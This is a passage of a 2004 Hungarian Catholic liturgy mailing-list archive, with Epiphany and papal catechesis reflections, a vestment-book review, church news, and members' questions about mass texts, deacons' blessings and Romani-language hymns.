From megego@freemail.hu Sat Jan 3 17:22:40 2004 From: megego@freemail.hu (=?ISO-8859-2?Q?Geg=F5_I=2E_Julianus?=) Date: Sat, 3 Jan 2004 18:22:40 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Epif=E1nia?= Message-ID: Kedves Testvérek! Áldott Új Évet! Vízkereszt ünnepén köszöntelek ezekkel a sorokkal: fr. Julianus URUNK MEGJELENÉSE Ádvent idején az Egyház mindennapi fohásza: "Marana tha! Jöjj, Urunk, Jézus"! Az első vasárnap Introitusában pedig az Izrael Istenére várakozó ember bizonyosságát énekeltük: "mert kik téged várnak, meg nem szégyenülnek" (Zsolt 25,3). E napon pedig az egyház e várakozás beteljesedésére mutat rá: az Eljövendő ecce advenit – Íme, eljött az Uralkodó, az Úr (Mal 3,1: Vízkereszti Introitus). Epifániát ünneplünk: megjelenés. Arról a kinyilatkoztatásról van szó, melyet a Szentleckében olvasunk: "Kinyilatkoztatásból megismertem Krisztus misztériumát" (Ef 3,3). "Akik nem bizalmatlanok iránta, kinyilvánítja magát" (Bölcs 1,2): én vagyok az Élet Kenyere és az Élet Itala. Jelt ad magáról, vizet fakaszt a sziklából. Kinyilatkoztatja magát a megtestesülésben, majd kereszthalálában és föltámadásában; figyelmünket feléje fordítja, s új élettel ajándékoz meg. Isten misztériumának kinyilatkoztatása a minden népre kiáradó üdvösség titka. A bölcsek is útra keltek az újszülött királyt megkeresni. Csillagot láttak. A csillag vezeti őket az újszülött arcának megismeréséhez és Isten dicsősége megjelenésének felismeréséhez Betlehem szegénységében. A Király, kié a föld minden hatalma, megjelent kinyilatkoztatni valódi hatalmát: szabadító hatalmát. Ő Jézus. A név jelentése: az Úr az üdvösség, a szabadítás. Szabadságunk az Isten tekintetével való találkozásból adatik: "ragyogtasd/világosítsd meg arcodat, és meg leszünk szabadítva" (Zsolt 80,20). A találkozás a kisded Jézus és a kereszt szemléléséből fakad. Szent Ferencnél ez így válik valóra: A Perugiaba igyekvő megszólított Ferenc hallgat és felel az isteni szóra. Az Úrnak akar szolgálni. Életformájának forrása az Istenre szögezett tekintet, a kizárólag Benne való bizalom. Ez a bizalom tette lehetővé, hogy életében szemmel láthatóvá váljon Isten szeretetének misztériuma: emberarca és visszavonhatatlan hűségének jelei; Greccioban, az új Betlehemben és Alverna hegyén, a leprásban és minden teremtményben Isten képmását fedezi fel. A Greccio-i történet leírásakor Celanói Tamás életrajzíró azt írja Ferencről, hogy "különösen a megtestesülés alázatossága és a kínszenvedés szeretete fészkelte be magát olyan mélyen emlékezetébe, hogy mellettük alig tudott másra gondolni" (1Cel 84). Továbbá Ferenc szavai is erre utalnak: "meg akarom eleveníteni…, látni akarom…" (1Cel 84). És meglátta… Élettelen gyermek jelent meg, aki Ferenc és társai illetve a környék lakói jelenlétében mintegy új életre támadt. Az a kisded Jézus támadt új életre, és vésődött mélyre az emberek emlékezetébe, aki "sokak szívében egészen feledésbe merült" (1Cel 84). Az emberi Isten megjelenik azok számára, akik még nem formálták ki maguknak abszolút képét, tartván őt mint Abszolútumot megfelelő távolságban, megfelelő kategóriákkal körülírván. Krisztust követőként az Istenre mutató jel-szerepet hivatottak vagyunk megőrizni. A kövess engem hívásra adott válasz, az Exodus, a ráhagyatkozó bizalmat jelzi. Az Exodus: Isten visszavonhatatlan, rendíthetetlen hűségének megtapasztalása… Fölötted ott ragyog az Úr: a halhatatlanság Fényének (prefáció) égre emelt tekintettel való követése vezet el bennünket Isten arcának szemlélésére. Ez a szemlélődés megadja a hit és az öröm ajándékát, és képessé tesz az útirány megváltoztatására, a gonosz Heródessel való együttműködés megtagadására. A fölöttünk járó fényesség ragyogása felemel a sötétség homályából, mutatja a minden népet egybegyűjtő országba vezető utat. Ha hiányzik ez az égre szögezett tekintetünk, az Isten felé való fordulásunk, akkor >a munka öncélú szenvedéllyé válik, a politika önző hatalomkereséssé züllik, a művészet csak a "valót" mutatja vagy torzítja és nem "annak égi mását", a zene kábítószerré fajul és már nem a Lét titokzatos hangja…< (Nemeshegyi Péter SJ). "Felragyogott Isten dicsősége": hogy elvezessen a vele való találkozásra, és hogy meglássuk, kicsoda Jézus, akiben maga a Mindenható hajolt közel hozzánk. Ez a látás teszi lehetővé, hogy a valóságot továbbá ne fekete-fehéren lássuk, hanem felfedezzük annak sokszínűségét, és Isten más-más arcát az elfeledettségből. A Megtestesült Kegyelem megjelenésében fölismerhetjük megajándékozottságunkat. Kinyithatjuk kincsesládáinkat, átadván belőle, ami a legdrágább: az önkiüresítés adományát. A szabadság, a bizalom, a ráhagyatkozás, életünknek az Istenre és a közösségre való rábízása az Isten felé fordulás gyümölcsei. Ez szabadít fel kötöttségeinktől, ragaszkodásainktól, jelen struktúráinkba való menekvéseinktől (kolostorokhoz, eszmékhez bármi áron). Nem bízhatom magam papírlapokra és hagyományokra, hanem az eleven és mindig éltető és megújító Lélek vezetésére. fr. Julianus From pasaret@ofm.hu Sun Jan 4 12:46:36 2004 From: pasaret@ofm.hu (pasaret) Date: Sun, 04 Jan 2004 13:46:36 +0100 Subject: [Liturgia] =?iso-8859-2?Q?el=F6adas?= Message-ID: <3FF80B2C.F7FBCA86@ofm.hu> Tisztelt Érdeklődők! A pasaréti egyházművészeti sorozat keretében Nagy Tamás építész Templomépítészet az ezredfordulón címmel tart előadást, szerda est 7 órától a Ferences Templom hittantermében. Előtte 18.40-tól vesperás a templomban. Eredetileg Pálos Frigyes atya tartott volna előadást, ő azonban korára és elfoglaltságaira való hivatkozással egy hete lemondta a felkérést. Mindnekit szeretettel várunk! fr. Peregrin From fuvesjan@freemail.hu Sun Jan 18 22:27:58 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Sun, 18 Jan 2004 23:27:58 +0100 Subject: [Liturgia] LELKISEG: A Papa katek. vesp. lit. Message-ID: <00e701c3de14$30aaadb0$a170ec91@ROMA> *** LELKISÉG *** A pápa katekézise A vesperás liturgiájáról (Magyar Kurír, 2004. I. 15.) A január 14-ei, szerdai általános kihallgatáson II. János Pál pápa folytatta katekézisét a vesperás liturgiájáról. Ezúttal Péter apostol első leveléből vett idézethez fűzte elmélkedését: "..erre kaptatok meghívást, mert Krisztus is szenvedett értetek, példát hagyva nektek, hogy nyomdokaiba lépjetek. Ő bűnt nem követett el, s szájában hamis szót nem találtak. Mikor szidalmazták, a szidalmat nem viszonozta, mikor szenvedett, nem fenyegetőzött, hanem mindent az igazságos bíróra hagyott. Vétkeinket testén fölvitte a keresztfára, hogy meghaljunk a bűnnek és igaz életet éljünk." Ez az újszövetségi rész Krisztus megváltó kínszenvedésével foglalkozik. Mint ahogyan az elmúlt vasárnap, Urunk megkeresztelkedése ünnepének evangéliumában hallhattuk, Jézus már nyilvános működése kezdetén kinyilvánítja, hogy ő a "szeretett fiú", akiben Atyjának kedve telik. Ő Jahve szolgája, aki megszabadítja az embereket a bűntől kínszenvedése és kereszthalála révén. Péter első levelében, amelyben a galileai halász saját magát Krisztus szenvedése tanújának nevezi, sok az utalás Krisztus kínszenvedésére. Jézus a "hibátlan és szeplőtelen" áldozati bárány, akinek drága vére kiontatott váltságunkért. Ő az emberek által elvetett élő kő, amelyet Isten szegletkőként választ ki és amely egységbe fogja lelki házát, vagyis egyházát. Krisztus az az igaz, aki feláldozza magát a bűnösökért, és őket Istenhez vezeti. A pápa ezután a kihallgatás elején felolvasott szentírási idézet Krisztus ábrázolására irányította a zarándokok figyelmét. Krisztus úgy jelenik meg, mint követendő példa, mint "életprogram", ahogyan ezt az eredeti görög kifejezés sugallja. Ehhez kell hasonlóvá válnunk habozás nélkül. A görögben ugyanis a követés, a Jézus nyomdokain való haladás kifejezése szerepel. Az isteni Mester léptei meredek és fárasztó út felé indulnak, mint ahogy az Evangéliumban olvashatjuk: "Ha valaki utánam akar jönni, tagadja meg magát, vegye föl keresztjét és kövessen engem". A péteri himnusz ezen a ponton csodálatosan szintézisbe foglalja Krisztus szenvedését, amelyet az Izajás által leírt szenvedő szolga alakjához kapcsol, és amelynek az őskeresztény hagyomány messiási olvasatot adott. Jézus kínszenvedésének ez a története négy negatív és három pozitív állítást tartalmaz, amelyekkel leírja Jézus magatartását ebben a rettenetes és nagy horderejű eseményben. Kettős állítással mutatja be Jézus tökéletes ártatlanságát, majd két megjegyzés következik Jézus példamutató magatartásáról, amely szelídséget, gyöngédséget áraszt. Urunk türelmes hallgatása nem pusztán bátor és nagylelkű tett, hanem az Atyába vetett bizalom gesztusa, mint ahogy ezt a péteri szöveg sugallja: "mindent az igazságos bíróra hagyott". Krisztus magatartása az isteni igazságosságba vetett maradéktalan és tökéletes bizalmat tükrözi, amely a történelmet vezeti egészen az ártatlan győzelméig. Így jutunk el egészen a kínszenvedés történetének csúcsáig, amely rámutat Krisztus önátadása legmagasabbrendű tettének üdvözítő értékére: "Vétkeinket testén fölvitte a keresztfára, hogy meghaljunk a bűnnek és igaz életet éljünk". Ez a második pozitív állítás, amely Izajás próféta szavait idézi, egyértelmű utalás arra, hogy Jézus megsemmisítette bűneinket a kereszten. Ezért, mivel megszabadultunk a régi embertől, annak bűneitől és nyomorúságaitól, igazságosságban, azaz életszentségben élhetünk. A gondolat - bár más szavakkal - megfelel annak a páli tanításnak, miszerint a keresztség új lényekké tesz bennünket, mivel belemerülünk Krisztus kínszenvedésének, halálának és dicsőségének misztériumába. Péter levelének az a mondata, hogy Krisztus "sajgó sebei által" gyógyultunk meg, Krisztus szenvedésének üdvözítő értékére utal, és ismét Izajás szavait használja fel, hogy kifejezze az Úr Szolgája által elszenvedett fájdalom üdvözítő termékenységét. Krisztus sebeit szemlélve, amelyek üdvözítettek bennünket, Szent Ambrus Jákobról és a boldog életről c. írásában a következőket hirdette: "Nem azért dicsőülök meg, mert igaz vagyok, hanem azért, mert meg vagyok váltva. Krisztus érettem ízlelte meg a halált. Termékenyebb a bűn az ártatlanságnál. Az ártatlanság gőgössé, a bűn alázatossá tett." - idézte katekézise végén Szent Ambrus szavait a pápa. VR/MK From fuvesjan@freemail.hu Mon Jan 19 08:06:40 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Mon, 19 Jan 2004 09:06:40 +0100 Subject: [Liturgia] AJANLO: Majlath ornatus Message-ID: <002701c3de63$5b07eb00$e2d4ec91@ROMA> *** AJÁNLÓ *** Vajk Éva: Majláth ornátus - a budapesti Egyetemi templom kincsei, Budapest 2002. A fenti címmel tetszetős kivitelű, komoly elemzést és tudományos feltárást tartalmazó album jelent meg a szerző kiadásában. Majláth Gusztáv Károly erdélyi püspöknek (1864-1940) nem csak holtteste nyugszik a budapesti Egyetemi templom kriptájában, de főpapi ruhái, ornátusa is a templom tulajdona. Ezt restaurálta éveken át a könyv szerzője, aki a folyamatról és ezzel kapcsolatban a liturgikus ruhákról szakszerű tanulmányt készített. A kötetben nem pusztán egy régi ornátus leírása található, de bevezető tanulmány szól az egyházi öltözékek kialakulásáról és a püspöki insigniákról is. A tárgyi bemutatás művészi fényképfelvételekkel igen precíz, pontos, tudományos elemzésről és restaurálási munkáról tesz tanúbizonyságot, amelyet haszonnal olvashat a liturgia történetét kutató, a művészettörténész és a helyreállító egyaránt. Pákozdi István/Magyar Kurír 2004. I. 2. Ui.: A kötet az Egyetemi templomban vagy a Központi Papnevelő Intézet irodáján kapható (1053 Bp., Papnövelde u. 7.) 2200.-Ft-ért. F.Á. From verbenyi@axelero.hu Wed Jan 21 19:44:35 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Wed, 21 Jan 2004 20:44:35 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Konstantin=E1polyi_p=E1tri=E1rka_Kub=E1ban?= Message-ID: <002101c3e057$05747280$a67aec91@verbnyiistvn> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C3E05F.618F44C0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable A ZENIT h=EDr=FCgyn=F6ks=E9g mai h=EDre, hogy Bartalomeo = konstantin=E1polyi ortodox p=E1tri=E1rka, aki a kb. 300 milli=F3 ortodox = kereszt=E9ny lelki vezet=F5je, ma Kub=E1ba l=E1togatott, =E9s = Havann=E1ban felszentelte Szent Mikl=F3s tisztelet=E9re =E9p=EDtett =FAj = katedr=E1list, amelyet Castro rezsimje =E9p=EDtett. Atenagoras g=F6r=F6g = ortodox p=E1tri=E1rka tegnap k=F6sz=F6netet mondott ez=E9rt az = aj=E1nd=E9k=E9rt. Ez az els=F5 alkalom, hogy ortodox p=E1tri=E1rka = l=E1togatott Latin Amerik=E1ba. Arr=F3l nem tett eml=EDt=E9st a = h=EDr=FCgyn=F6ks=E9g, hogy mekkora az ortodox k=F6z=F6ss=E9g Kub=E1ban. Ugyancsak mai h=EDr, hogy a Himal=E1j=E1ban van egy kis orsz=E1g BHUTAN, = ahol megtiltott=E1k a kereszt=E9nyeknek, hogy nyilv=E1nos = istentiszteletet tartsanak. Papok beutaz=E1s=E1t sem engedik meg. Ezt = Darjeeling p=FCsp=F6ke Stephen Lepcha adta h=EDr=FCl. V=E9lem=E9nye = szerint a helyi hat=F3s=E1gok f=E9lelme =E1ll a h=E1tt=E9rben, akik a = prozelitizmus miatt f=E9lnek. ------=_NextPart_000_001E_01C3E05F.618F44C0 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable
A ZENIT = h=EDr=FCgyn=F6ks=E9g mai h=EDre, hogy=20 Bartalomeo konstantin=E1polyi ortodox p=E1tri=E1rka, aki a kb. 300 = milli=F3 ortodox=20 kereszt=E9ny lelki vezet=F5je, ma Kub=E1ba l=E1togatott, =E9s = Havann=E1ban felszentelte=20 Szent Mikl=F3s tisztelet=E9re =E9p=EDtett =FAj katedr=E1list, amelyet = Castro rezsimje=20 =E9p=EDtett. Atenagoras g=F6r=F6g ortodox p=E1tri=E1rka tegnap = k=F6sz=F6netet mondott ez=E9rt az=20 aj=E1nd=E9k=E9rt. Ez az els=F5 alkalom, hogy ortodox p=E1tri=E1rka = l=E1togatott Latin=20 Amerik=E1ba. Arr=F3l nem tett eml=EDt=E9st a h=EDr=FCgyn=F6ks=E9g, hogy = mekkora az ortodox=20 k=F6z=F6ss=E9g Kub=E1ban.
 
Ugyancsak mai h=EDr, = hogy a Himal=E1j=E1ban=20 van egy kis orsz=E1g BHUTAN, ahol megtiltott=E1k a kereszt=E9nyeknek, = hogy nyilv=E1nos=20 istentiszteletet tartsanak. Papok beutaz=E1s=E1t sem engedik meg. Ezt = Darjeeling=20 p=FCsp=F6ke Stephen Lepcha adta = h=EDr=FCl. V=E9lem=E9nye=20 szerint a helyi hat=F3s=E1gok f=E9lelme =E1ll a h=E1tt=E9rben, akik a = prozelitizmus miatt=20 f=E9lnek.
 
 
 
------=_NextPart_000_001E_01C3E05F.618F44C0-- From mod.miklos@drotposta.hu Thu Jan 22 07:41:24 2004 From: mod.miklos@drotposta.hu (=?iso-8859-2?q?M=F3d=20Mikl=F3s=20?=) Date: Thu, 22 Jan 2004 08:41:24 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20Konstantin=E1polyi=20p=E1tri=E1rka=20?= =?iso-8859-2?q?Kub=E1ban?= Message-ID: Bővíz László 2004.01.21. 23:55:58 +1h-kor írta: > Kedves atyák, > > Holnap ünnepeljük Boldog Strattmann doktort. Szeretném kérdezni, hogy van-e > saját miseszövege? (Lehet, hogy már átfutott a listán, csak én nem figyeltem > fel rá). > > Ha valaki tud segíteni, kérem küldje el nekem. > > Köszönettel: > BővízLaci > -- Kedves Laci! Nem futott át. Én is előre megnéztem a direktóriumban, és nyugodt voltam, hogy az adorémusban bent lesz, de csalódtam. Így a szentek általánost vettem. Nagyon kellene saját, és hívek könyörgése is. Aki tud segítsen. Üdv. Miklós mod.miklos@drotposta.hu From satya@hcbc.hu Fri Jan 23 07:14:17 2004 From: satya@hcbc.hu (=?iso-8859-2?B?Rvxs9nAgwWtvcw==?=) Date: Fri, 23 Jan 2004 08:14:17 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5BLiturgia=5D_Re:_Konstantin=E1polyi_p=E1tri=E1rka_Ku?= =?iso-8859-2?Q?b=E1ban?= References: Message-ID: <009101c3e180$c73be2c0$66d4fea9@duron> Benne vaín az adorémuszban, csak először szent Vince, utána Battyány László, van hozzá hívek imája is... satya ----- Original Message ----- From: "Mód Miklós" To: Sent: Thursday, January 22, 2004 8:41 AM Subject: [Liturgia] Re: Konstantinápolyi pátriárka Kubában > > Nem futott át. > Én is előre megnéztem a direktóriumban, > és nyugodt voltam, hogy az adorémusban bent > lesz, de csalódtam. > Így a szentek általánost vettem. > Nagyon kellene saját, és hívek könyörgése is. > Aki tud segítsen. > Üdv. > Miklós > mod.miklos@drotposta.hu > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm From verbenyi@axelero.hu Fri Jan 23 17:49:40 2004 From: verbenyi@axelero.hu (=?iso-8859-2?Q?Verb=E9nyi_Istv=E1n?=) Date: Fri, 23 Jan 2004 18:49:40 +0100 Subject: [Liturgia] =?iso-8859-2?Q?Re:_=5Bteofil=5D_Re:_=5BLiturgia=5D_Re:_Konstantin=E1pol?= =?iso-8859-2?Q?yi_p=E1tri=E1rka_Kub=E1ban?= References: <009101c3e180$c73be2c0$66d4fea9@duron> Message-ID: <004601c3e1d9$505c87a0$34daec91@verbnyiistvn> Kedves Kollégák! Talán szerencsésebb lett volna első helyre helyezni B. B. Strattmann Lászlót (jövőre megcsréljük), de az elején a naptárba is feltüntettük. Szeretném megjegyezni, hogy minden, direktóriumban jelzett szent miseszövegeit közöljük az Adoremusban. Persze a februáriban nem szerepel 8-án Bakhita Szent Jozefina szűz, mert vasárnapra esik az emléknapja. De életrajzi adatait a direktórium végébe beletettük. Üdv! Verbényi István ----- Original Message ----- From: "Fülöp Ákos" To: "Liturgikus levelezőlista" Cc: "papi lista" Sent: Friday, January 23, 2004 8:14 AM Subject: [teofil] Re: [Liturgia] Re: Konstantinápolyi pátriárka Kubában Benne vaín az adorémuszban, csak először szent Vince, utána Battyány László, van hozzá hívek imája is... satya ----- Original Message ----- From: "Mód Miklós" To: Sent: Thursday, January 22, 2004 8:41 AM Subject: [Liturgia] Re: Konstantinápolyi pátriárka Kubában > > Nem futott át. > Én is előre megnéztem a direktóriumban, > és nyugodt voltam, hogy az adorémusban bent > lesz, de csalódtam. > Így a szentek általánost vettem. > Nagyon kellene saját, és hívek könyörgése is. > Aki tud segítsen. > Üdv. > Miklós > mod.miklos@drotposta.hu > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm -- PIARNET f-prot virscan: talán tiszta --- [Ezt a levelet a Teofil listán kaptad Ha Reply-vel válaszolsz, azt csak a feladó kapja meg. Ha a listára szeretnél válaszolni, írd át a címzettet -ra!] --- From mod.miklos@drotposta.hu Sat Jan 24 08:11:31 2004 From: mod.miklos@drotposta.hu (=?iso-8859-2?q?M=F3d=20Mikl=F3s=20?=) Date: Sat, 24 Jan 2004 09:11:31 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20Konstantin=E1polyi=20p=E1tri=E1rka=20?= =?iso-8859-2?q?Kub=E1ban?= Message-ID: Fülöp Ákos 2004.01.23. 08:14:17 +1h-kor írta: > Benne vaín az adorémuszban, csak először szent Vince, utána Battyány László, > van hozzá hívek imája is... > satya Mindenkitől bocsánatot kérek a figyelmetlenségemért, inkább csak a vasárnapokat szoktam előre megnézni, és szokatlan volt, hogy külön oldalon van. Az életrajzot az elején megtaláltam, de ekkor sem lett gyanus, hogy folyt. köv. Továbbra is rendkívül jónak tartom az Adorémust, és ha lesz lehetőség szívesen felajánlok mindennapra hivek könyörgését a Hankovszky féléből. üdv. miklós From seidlamb@freemail.hu Fri Jan 30 16:19:47 2004 From: seidlamb@freemail.hu (Seidl Ambrus) Date: Fri, 30 Jan 2004 17:19:47 +0100 Subject: [Liturgia] =?iso-8859-2?Q?=E9nek_lovari_nyelven?= Message-ID: <02e601c3e74c$eb4d2c60$9139a3d5@otthon2> This is a multi-part message in MIME format. --Boundary_(ID_ELEvCmtKjL/My43FEQASIA) Content-type: text/plain; charset=iso-8859-2 Content-transfer-encoding: quoted-printable =DCdv! Nincsen-e meg valakinek valamely sz=E9p, ismert M=E1ria-=E9nek (pl. = Boldogasszony Any=E1nk stb.) lovari (cig=E1ny) nyelven? Lesz ugyanis = n=E1lunk egy r=E9szben cig=E1nyoknak sz=F3l=F3 szentmise, j=F3 lenne az = =F5 nyelv=FCk=F6n is =E9nekelni. Ha valaki tud seg=EDteni, k=E9rem, = =EDrjon mag=E1nba. El=F5re is k=F6sz=F6n=F6m. =DCdv: + +++ + + + + + + + * * * * * * * *=20 + K=FCldte: + + SEIDL + + Ambrus + + pl=E9b=E1nos ++++++++++++++++++++++ + 6800. H=F3dmez=F5v=E1s=E1rhely, Andr=E1ssy u. 11. + + Tel: 62/ 533-265 + R=E1di=F3: 20/9689090 + + E-mail: seidlamb@theol.u-szeged.hu + + Honlap: http://www.nexus.hu/seidlambrus + ****************************************************** L=E1togasson el honlapunkra: = http://www.hodmezovasarhely_plebania.vnet.hu=20 --Boundary_(ID_ELEvCmtKjL/My43FEQASIA) Content-type: text/html; charset=iso-8859-2 Content-transfer-encoding: quoted-printable
=DCdv!
Nincsen-e meg valakinek valamely = sz=E9p,=20 ismert M=E1ria-=E9nek (pl. Boldogasszony Any=E1nk stb.) lovari = (cig=E1ny) nyelven? Lesz=20 ugyanis n=E1lunk egy r=E9szben cig=E1nyoknak sz=F3l=F3 szentmise, j=F3 = lenne az =F5 nyelv=FCk=F6n=20 is =E9nekelni. Ha valaki tud seg=EDteni, k=E9rem, =EDrjon mag=E1nba. = El=F5re is=20 k=F6sz=F6n=F6m.
=DCdv:
          =20 +
        =20 +++
          =20 +
       +    =20 +
  =20 +            = =20 +
+           &= nbsp;      =20 +
* * * * * * * *
+    K=FCldte:    = +
+    SEIDL    +
+  =20 Ambrus    +
+   pl=E9b=E1nos  =20 ++++++++++++++++++++++
+  6800. H=F3dmez=F5v=E1s=E1rhely, = Andr=E1ssy u. 11.=20 +
+  Tel: 62/ 533-265  +  R=E1di=F3: = 20/9689090  =20 +
+      E-mail:  seidlamb@theol.u-szeged.hu=      =20 +
+  Honlap: http://www.nexus.hu/seidlambrus<= /A>  =20 +
******************************************************
L=E1togass= on el=20 honlapunkra: http://www.hodmezov= asarhely_plebania.vnet.hu=20
--Boundary_(ID_ELEvCmtKjL/My43FEQASIA)-- From fuvesjan@freemail.hu Fri Jan 30 22:27:08 2004 From: fuvesjan@freemail.hu (=?iso-8859-2?B?Rvx6ZXMgwWThbQ==?=) Date: Fri, 30 Jan 2004 23:27:08 +0100 Subject: [Liturgia] LELKISEG: A Papa katek. ves. lit. Message-ID: <019e01c3e780$7b848b60$24d4ec91@ROMA> ********************** **** LELKISÉG **** ********************** A pápa katekézise A vesperás liturgiájáról (Magyar Kurír, 2004. I. 29.) Január 28-án, szerdán délelőtt az általános kihallgatás során II. János Pál pápa folytatta katekézisét a vesperás liturgiájáról, amelynek alapvető részét a zsoltárok alkotják. Ezúttal a 10. zsoltárhoz fűzte elmélkedését, amely az igaz Istenbe vetett hitről szól. Az eredeti héber szöveg az Úr szent nevével kezdődik: Adonaj - majd a középső részben háromszor is szerepel, végül ismét visszatér a záró sorokban. Az ének lelki hangulatát jól kifejezi a záró versszak: "Mert az Úr igazságos és az igazságot szereti." Ez minden bizalom gyökere és minden remény forrása a sötétség és a megpróbáltatás napjaiban. Isten nem közömbös a jóval és a rosszal szemben, jóságos Isten, aki nem egy kifürkészhetetlen, titokzatos végzet. A zsoltár két helyszínre vezet el bennünket. Az első harci képek felhasználásával írja le a gonosz látszólagos győzelmét: a bűnösök feszítik íjukat, nyilat helyeznek a húrra. Áldozatuk mindig az igaz szívű, Istenhez hű hívő, akit megkísért a menekülés gondolata, hogy megszabaduljon a gonosz könyörtelen szorításából. A "hegyekbe szeretne menekülni, mint a madár", távol a rossztól, a bűnösök támadásától, a rágalmaktól. A hívő elbátortalanodik, mivel magányosnak és tehetetlennek érzi magát a rossz előretörésével szemben. Úgy tűnik, hogy alapjaiban ingott meg a fennálló rend, az emberi együttélés. A második helyszín a fordulatot vázolja fel: Az Úr, mennyei trónján ülve tekintetével átöleli az egész világot. Ebből a természetfeletti helyzetből, amely az isteni mindenhatóság jele, az Úr minden személyt szemügyre vehet és elbírálhat, különbséget téve jó és rossz között, erőteljesen elítélve az igazságtalanságot. Különösen vigasztaló az isteni szem ábrázolása, amelynek pupillája figyelemmel kíséri az emberek tetteit. Az Úr nem egy távoli uralkodó, aki arannyal bevont világában bezárva él, hanem éber Jelenlét, amely a jó és az igazságosság oldalán áll. Az Igaz, a zsoltáros, arról énekel, hogy - amint Szodomában történt - az Úr "kénes esőt és égő parazsat hullat a bűnösökre, s perzselő szél lesz kelyhük osztályrésze". Ezek az isteni ítélet jelképei, amely megtisztítja a történelmet, elítélve a gonoszt. A bűnös, akire az égő parázs hull, végre megtapasztalja Istent, aki igazságot teremt a földön. A zsoltár azonban nem a büntetés és ítélet tragikus képével zárul. Az utolsó verssor a fény és a béke távlataira utal, amelyben az igaznak lesz része, aki szemlélheti majd Ura arcát. Az Úr igazságos ítélőbíró, de mindenekelőtt irgalmas felszabadító: "az igazak látják majd meg arcát". Ez pedig az örömteli szeretetközösség és a gonosztól megszabadító Istenbe vetett bizalom megtapasztalása. A történelem során számtalan igaz embernek volt része hasonló élményben. Számos elbeszélés leírja a keresztény vértanúk Istenbe vetett bizalmát, amelynek következtében nem menekültek el a megpróbáltatások elöl - mondta a pápa, majd idézte egy dél-olasz diakónus imáját, aki 304-ben, Diocletianus idején halt vértanúhalált: "Köszönöm Krisztusom: védelmezz, mert érted szenvedek. Imádom az Atyát, a Fiút és a Szentlelket. Imádom a Szentháromságot. Siess a segítségemre, Krisztusom, nagy a te dicsőséged Uram, azokban a szolgáidban, akiket méltóztattál magadhoz hívni. Hálát adok neked Uram, Jézus Krisztus, mert erőd megvigasztalt: nem engedted, hogy a lelkem elvesszen a bűnösökkel és neved kegyelmében részesítettél engem." VR/MK From salicional@freemail.hu Tue Feb 3 08:07:32 2004 From: salicional@freemail.hu (=?ISO-8859-2?Q?Marti_J=F3zsef?=) Date: Tue, 3 Feb 2004 09:07:32 +0100 (CET) Subject: [Liturgia] (no subject) Message-ID: Kedves Listatagok! Tisztelettel szeretném kérdezni, hogy a diakonus, majd vasárnap az általa filiában végzett, Szentmise helyetti Ige Liturgia végén, adhat e a népnek Balázs-áldást? Köszönettel: Marti József From kantorkepzo@katolikus.hu Wed Feb 4 09:29:46 2004 From: kantorkepzo@katolikus.hu (=?iso-8859-2?Q?Harmat_Art=FAr_K=F6zponti_K=E1ntork=E9pz=F5?=) Date: Wed, 4 Feb 2004 10:29:46 +0100 Subject: [Liturgia] (no subject) References: Message-ID: <008701c3eb01$70ef2000$d802a8c0@malezi2> Adhat, hiszen a diakónus adhat szentháromságos áldást, nászáldást is, amelyek pedig liturgikusan fontosabbak. Üdv: Füzes Ádám ----- Original Message ----- From: "Marti József" To: Sent: Tuesday, February 03, 2004 9:07 AM Subject: [Liturgia] (no subject) > Kedves Listatagok! > > Tisztelettel szeretném kérdezni, hogy a diakonus, majd vasárnap az > általa filiában végzett, Szentmise helyetti Ige Liturgia végén, adhat e a > népnek Balázs-áldást? > > Köszönettel: > Marti József > > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm > > > > From gabssy@dpg.hu Wed Feb 4 14:39:40 2004 From: gabssy@dpg.hu (=?iso-8859-2?q?Nagy=20G=E1bor=20Gabssy=20?=) Date: Wed, 4 Feb 2004 15:39:40 +0100 Subject: [Liturgia] =?iso-8859-2?q?nagycs=FCt=F6rt=F6k?= Message-ID: Tisztelt Lista! Talán liturgikus műveltségem komoly hiányosságairól teszek tanúbizonyságot, mikor bejelentem, hogy NEM értem az alábbiakat. Meg tudja nekem mondani valaki, hogy miért szerepel az osb.hu liturgikus naptárában nagycsütörtöki szentként föltűntetve II. Rákóczi Ferenc és Széchenyi István? Így: "8. csütörtök: NAGYCSÜTÖRTÖK (II.Rákóczi Ferenc, Széchenyi István) Kiv 12,1-8.11-14; Zs 115; 1Kor 11,23-26; Jn 13,1-15 Tartsátok emlékezetben ezt a napot, és ünnepeljétek meg! " Tisztelettel: Nagy Gábor Gabssy Szeged From zoltantamas@uze.net Wed Feb 4 22:26:26 2004 From: zoltantamas@uze.net (=?iso-8859-2?q?Zolt=E1n=20Tam=E1s=20?=) Date: Wed, 4 Feb 2004 23:26:26 +0100 Subject: [Liturgia] =?iso-8859-2?q?Re=3A=20nagycs=FCt=F6rt=F6k?= Message-ID: Nagy Gábor Gabssy 2004.02.04. 15:39:40 +1h-kor írta: > Tisztelt Lista! > > Talán liturgikus műveltségem komoly hiányosságairól teszek tanúbizonyságot, > mikor bejelentem, hogy NEM értem az alábbiakat. > Meg tudja nekem mondani valaki, hogy miért szerepel az osb.hu liturgikus > naptárában nagycsütörtöki szentként föltűntetve II. Rákóczi Ferenc és > Széchenyi István? > > > Így: > > "8. csütörtök: NAGYCSÜTÖRTÖK > (II.Rákóczi Ferenc, Széchenyi István) > Kiv 12,1-8.11-14; Zs 115; 1Kor 11,23-26; Jn 13,1-15 > Tartsátok emlékezetben ezt a napot, és ünnepeljétek meg! " > > > Tisztelettel: > > Nagy Gábor Gabssy > Szeged > _______________________________________________ > Liturgia levelező lista > Információ, fel- és leiratkozás: www.liturgia.hu/lista.htm Lehet, hogy a 